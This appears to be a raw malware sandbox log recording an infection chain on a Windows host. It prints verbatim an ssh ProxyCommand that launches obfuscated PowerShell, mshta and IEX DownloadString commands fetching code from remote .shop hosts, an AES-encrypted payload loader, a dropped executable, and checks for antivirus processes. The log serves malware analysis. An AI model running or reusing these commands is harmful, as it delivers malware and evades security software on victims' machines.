Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\_Fs.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.VisualStudio.VisualC.Utilities.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\Microsoft.NET.Sdk.Publish.Tasks.dll	Jump to dropped file

Source: C:\Windows\System32\OpenWith.exe TID: 3764	Thread sleep count: 37 > 30
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 905 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7936	Thread sleep count: 2490 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7988	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 1009 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 1875 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8072	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep count: 2132 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7008	Thread sleep count: 7691 > 30
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5800	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1752	Thread sleep count: 1093 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1756	Thread sleep count: 5679 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6564	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7708	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\383847\Client.com TID: 7884	Thread sleep count: 66 > 30

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\Users\user\AppData\Local FullSizeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File Volume queried: C:\Users\user\AppData\Local\Temp FullSizeInformation

Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local\Temp
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Local
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Desktop\desktop.ini
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\Documents\desktop.ini

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Source: C:\Windows\System32\OpenSSH\ssh.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell powershell -Command 'mU_<ATwLQ=>WqAmshta https://static.klipmybekoe.shop/5MV6U.mp4mU_<ATwLQ=>WqA'.SubString(14, 47)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "mshta https://static.klipmybekoe.shop/5MV6U.mp4"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\mshta.exe "C:\Windows\system32\mshta.exe" https://static.klipmybekoe.shop/5MV6U.mp4
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function RFpfE($qAFB){return -split ($qAFB -replace '..', '0x$& ')};$CLkAU = RFpfE('F6A906EA9A8B03BF8982351A6A2E7F5601882A3C15DC699E327C9FD9263B8CC4B78E45D1498DA21901CB01F8EE21A81F89423EDE39C43E4445F86F100145C78A254E490087C167A8FCDE9AB218491ED0390CACB6AFB8FA9DB178377E3692D7890E2208442D0DD53C8D81A98ADF5E41401F6EC8AF5E5E93E92E92C36F10387F113BAE0E14E51540D2403F393D3BA8544000D12628DA6AE647EB44003EA36C928710911689A7C08F647917F48BCFF8A16D809736B319C8C6D120509449D4D908CBB00B9B3968A0264F0D00C13645E8839D472B1FC2526A10F919B7051E20380EC70097EFA1DDB8920157957F22E28530A6B1103EAB51B4ADB7C8A7FF8C7756348170B5A842F52100EC776BEE97CEE285636BB3D580D3A7903B8B981EFA047E102E320AEE9A19897CC68457DD16FBEDEE177C3F3380508FB7C5D541C078FFC435E191D6EB52AA039F2EEA8CD38EBA3FC25F9923C5BC673060E8683A1AEDE8D9B835DD8070763F9356572D1D85A96981C2F8326E8E1344B45EC0A84F20D785452184647540978C61E331B68CFFFA60EA7EA10FE603D924EC3BC680C9289327BCCAADD415AA7B64A5A9569DB1D72DA21B969668306D3276D60EC4C42EEE4207D341C503F8521E0607B70A5CC9DB91371C16084C8D11303CA3DA1A2E008A7149BD890A38EEE37EEA63A901FE1D9D9F378811B950CF33C565A4082C4FE668A955A639FA7578699ADDF819BDDBA0F15695838BB098BF5B128542F631ECE9DEF5BD905CD1732F31E056686D623BCD5039FC9DDEC74DDA666D62AC11454F8B9041F83E9FF96C0900ADD4250ABE73F4218ED174ECD8C5DE8E12B5E9AA98785D96377360B4EFFEBB72B3D85690B96F86CA5F386E54C647E80B3EB73551FFBFBA8E1AC325311CF6B9CFCDDF855EFB4194FD7806925E6E20AEC7A8A4832597F78D6B3B3A05044A2A70D014DE815B9DCD4964187B56C4550CAA047A06D325827E7A0C78021FA788364258976E4F05BF34D8713C34B971800E76733923D64C7E44C914B597BF67AF87BEACF301F8BBE82829B975012AB505B025B56F2EDAC8FACAC1E9394E7DE9A7B5D1B17F43BCAA9DAAEBA539F9AD1A94A8FB04E2D6A81C28F2202ACD2521D0D9F6A81CD76A6B37B78E8A56DC502729F8842DDA04E915E907966BF28DEFF880103C0EA91F78F5EF0767158F737693FA24122559B72F63D01B727410CA885A6A1E262317F081B8BC62E83ED1908661D47DBB97B9E1CFFCECB827FD80AE793463F2B92C66A2BB43865FF371643B83E017909EF24426E1537F23C3358D3B8B0930E585FD05ACE55BD064681A48A7E4FB064E0FC093C1E912C0E8BC84E3419E3A9809B3D6FF420C3839DCBD8FEF438B40F88753FB77C0743BCE75E544C62182B0FEEA97C041D7B18457E6584778F22EDEF36672015D59B8682037DEDBF664F5134470');$vDlAX=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((RFpfE('5A4C72435A7854455476796A794D454C')),[byte[]]::new(16)).TransformFinalBlock($CLkAU,0,$CLkAU.Length)); & $vDlAX.Substring(0,3) $vDlAX.Substring(215)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command (& {IEX ((New-Object Net.WebClient).DownloadString('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') \| ForEach-Object {Invoke-Expression }})
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\i1040gi.pdf"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\mv44vish.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES21E2.tmp" "c:\Users\user\AppData\Local\Temp\CSC3175A4D19118469EA1291A30DC82CEF5.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe "C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe"
Source: C:\Users\user\AppData\Local\47bf4b68-9869-4c05-af58-4f757fe9302b\EdgarMales.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Anytime Anytime.cmd && Anytime.cmd
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c md 383847
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\findstr.exe findstr /V "ReservedFijiSupplementsFailingArrangementsFocusingMartGlucose" Discounts
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Muslim + ..\Threat + ..\Tabs + ..\Rouge + ..\Prove + ..\Er z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\383847\Client.com Client.com z
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5

Source: unknown	Process created: C:\Windows\System32\OpenSSH\ssh.exe "c:\windows\system32\openssh\ssh.exe" -o proxycommand="powershell powershell -command 'mu_<atwlq=>wqamshta https://static.klipmybekoe.shop/5mv6u.mp4mu_<atwlq=>wqa'.substring(14, 47)" .
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function rfpfe($qafb){return -split ($qafb -replace '..', '0x$& ')};$clkau = rfpfe('f6a906ea9a8b03bf8982351a6a2e7f5601882a3c15dc699e327c9fd9263b8cc4b78e45d1498da21901cb01f8ee21a81f89423ede39c43e4445f86f100145c78a254e490087c167a8fcde9ab218491ed0390cacb6afb8fa9db178377e3692d7890e2208442d0dd53c8d81a98adf5e41401f6ec8af5e5e93e92e92c36f10387f113bae0e14e51540d2403f393d3ba8544000d12628da6ae647eb44003ea36c928710911689a7c08f647917f48bcff8a16d809736b319c8c6d120509449d4d908cbb00b9b3968a0264f0d00c13645e8839d472b1fc2526a10f919b7051e20380ec70097efa1ddb8920157957f22e28530a6b1103eab51b4adb7c8a7ff8c7756348170b5a842f52100ec776bee97cee285636bb3d580d3a7903b8b981efa047e102e320aee9a19897cc68457dd16fbedee177c3f3380508fb7c5d541c078ffc435e191d6eb52aa039f2eea8cd38eba3fc25f9923c5bc673060e8683a1aede8d9b835dd8070763f9356572d1d85a96981c2f8326e8e1344b45ec0a84f20d785452184647540978c61e331b68cfffa60ea7ea10fe603d924ec3bc680c9289327bccaadd415aa7b64a5a9569db1d72da21b969668306d3276d60ec4c42eee4207d341c503f8521e0607b70a5cc9db91371c16084c8d11303ca3da1a2e008a7149bd890a38eee37eea63a901fe1d9d9f378811b950cf33c565a4082c4fe668a955a639fa7578699addf819bddba0f15695838bb098bf5b128542f631ece9def5bd905cd1732f31e056686d623bcd5039fc9ddec74dda666d62ac11454f8b9041f83e9ff96c0900add4250abe73f4218ed174ecd8c5de8e12b5e9aa98785d96377360b4effebb72b3d85690b96f86ca5f386e54c647e80b3eb73551ffbfba8e1ac325311cf6b9cfcddf855efb4194fd7806925e6e20aec7a8a4832597f78d6b3b3a05044a2a70d014de815b9dcd4964187b56c4550caa047a06d325827e7a0c78021fa788364258976e4f05bf34d8713c34b971800e76733923d64c7e44c914b597bf67af87beacf301f8bbe82829b975012ab505b025b56f2edac8facac1e9394e7de9a7b5d1b17f43bcaa9daaeba539f9ad1a94a8fb04e2d6a81c28f2202acd2521d0d9f6a81cd76a6b37b78e8a56dc502729f8842dda04e915e907966bf28deff880103c0ea91f78f5ef0767158f737693fa24122559b72f63d01b727410ca885a6a1e262317f081b8bc62e83ed1908661d47dbb97b9e1cffcecb827fd80ae793463f2b92c66a2bb43865ff371643b83e017909ef24426e1537f23c3358d3b8b0930e585fd05ace55bd064681a48a7e4fb064e0fc093c1e912c0e8bc84e3419e3a9809b3d6ff420c3839dcbd8fef438b40f88753fb77c0743bce75e544c62182b0feea97c041d7b18457e6584778f22edef36672015d59b8682037dedbf664f5134470');$vdlax=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((rfpfe('5a4c72435a7854455476796a794d454c')),[byte[]]::new(16)).transformfinalblock($clkau,0,$clkau.length)); & $vdlax.substring(0,3) $vdlax.substring(215)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -command (& {iex ((new-object net.webclient).downloadstring('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') \| foreach-object {invoke-expression }})
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" -w 1 -ep unrestricted -nop function rfpfe($qafb){return -split ($qafb -replace '..', '0x$& ')};$clkau = rfpfe('f6a906ea9a8b03bf8982351a6a2e7f5601882a3c15dc699e327c9fd9263b8cc4b78e45d1498da21901cb01f8ee21a81f89423ede39c43e4445f86f100145c78a254e490087c167a8fcde9ab218491ed0390cacb6afb8fa9db178377e3692d7890e2208442d0dd53c8d81a98adf5e41401f6ec8af5e5e93e92e92c36f10387f113bae0e14e51540d2403f393d3ba8544000d12628da6ae647eb44003ea36c928710911689a7c08f647917f48bcff8a16d809736b319c8c6d120509449d4d908cbb00b9b3968a0264f0d00c13645e8839d472b1fc2526a10f919b7051e20380ec70097efa1ddb8920157957f22e28530a6b1103eab51b4adb7c8a7ff8c7756348170b5a842f52100ec776bee97cee285636bb3d580d3a7903b8b981efa047e102e320aee9a19897cc68457dd16fbedee177c3f3380508fb7c5d541c078ffc435e191d6eb52aa039f2eea8cd38eba3fc25f9923c5bc673060e8683a1aede8d9b835dd8070763f9356572d1d85a96981c2f8326e8e1344b45ec0a84f20d785452184647540978c61e331b68cfffa60ea7ea10fe603d924ec3bc680c9289327bccaadd415aa7b64a5a9569db1d72da21b969668306d3276d60ec4c42eee4207d341c503f8521e0607b70a5cc9db91371c16084c8d11303ca3da1a2e008a7149bd890a38eee37eea63a901fe1d9d9f378811b950cf33c565a4082c4fe668a955a639fa7578699addf819bddba0f15695838bb098bf5b128542f631ece9def5bd905cd1732f31e056686d623bcd5039fc9ddec74dda666d62ac11454f8b9041f83e9ff96c0900add4250abe73f4218ed174ecd8c5de8e12b5e9aa98785d96377360b4effebb72b3d85690b96f86ca5f386e54c647e80b3eb73551ffbfba8e1ac325311cf6b9cfcddf855efb4194fd7806925e6e20aec7a8a4832597f78d6b3b3a05044a2a70d014de815b9dcd4964187b56c4550caa047a06d325827e7a0c78021fa788364258976e4f05bf34d8713c34b971800e76733923d64c7e44c914b597bf67af87beacf301f8bbe82829b975012ab505b025b56f2edac8facac1e9394e7de9a7b5d1b17f43bcaa9daaeba539f9ad1a94a8fb04e2d6a81c28f2202acd2521d0d9f6a81cd76a6b37b78e8a56dc502729f8842dda04e915e907966bf28deff880103c0ea91f78f5ef0767158f737693fa24122559b72f63d01b727410ca885a6a1e262317f081b8bc62e83ed1908661d47dbb97b9e1cffcecb827fd80ae793463f2b92c66a2bb43865ff371643b83e017909ef24426e1537f23c3358d3b8b0930e585fd05ace55bd064681a48a7e4fb064e0fc093c1e912c0e8bc84e3419e3a9809b3d6ff420c3839dcbd8fef438b40f88753fb77c0743bce75e544c62182b0feea97c041d7b18457e6584778f22edef36672015d59b8682037dedbf664f5134470');$vdlax=-join [char[]](([security.cryptography.aes]::create()).createdecryptor((rfpfe('5a4c72435a7854455476796a794d454c')),[byte[]]::new(16)).transformfinalblock($clkau,0,$clkau.length)); & $vdlax.substring(0,3) $vdlax.substring(215)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -noprofile -command (& {iex ((new-object net.webclient).downloadstring('https://flac.mindful-journal.shop/jenew')); ([char[]]@('e','x','i','t') -join '') \| foreach-object {invoke-expression }})

Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segoeui.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisb.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\seguisym.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation
Source: C:\Windows\System32\OpenWith.exe	Queries volume information: C:\Windows\Fonts\segmdl2.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\mshta.exe	Queries volume information: C:\Windows\Fonts\times.ttf VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Security\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Security.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Utility\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Utility.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.ConsoleHost\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.ConsoleHost.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.DirectoryServices\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.DirectoryServices.dll VolumeInformation
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
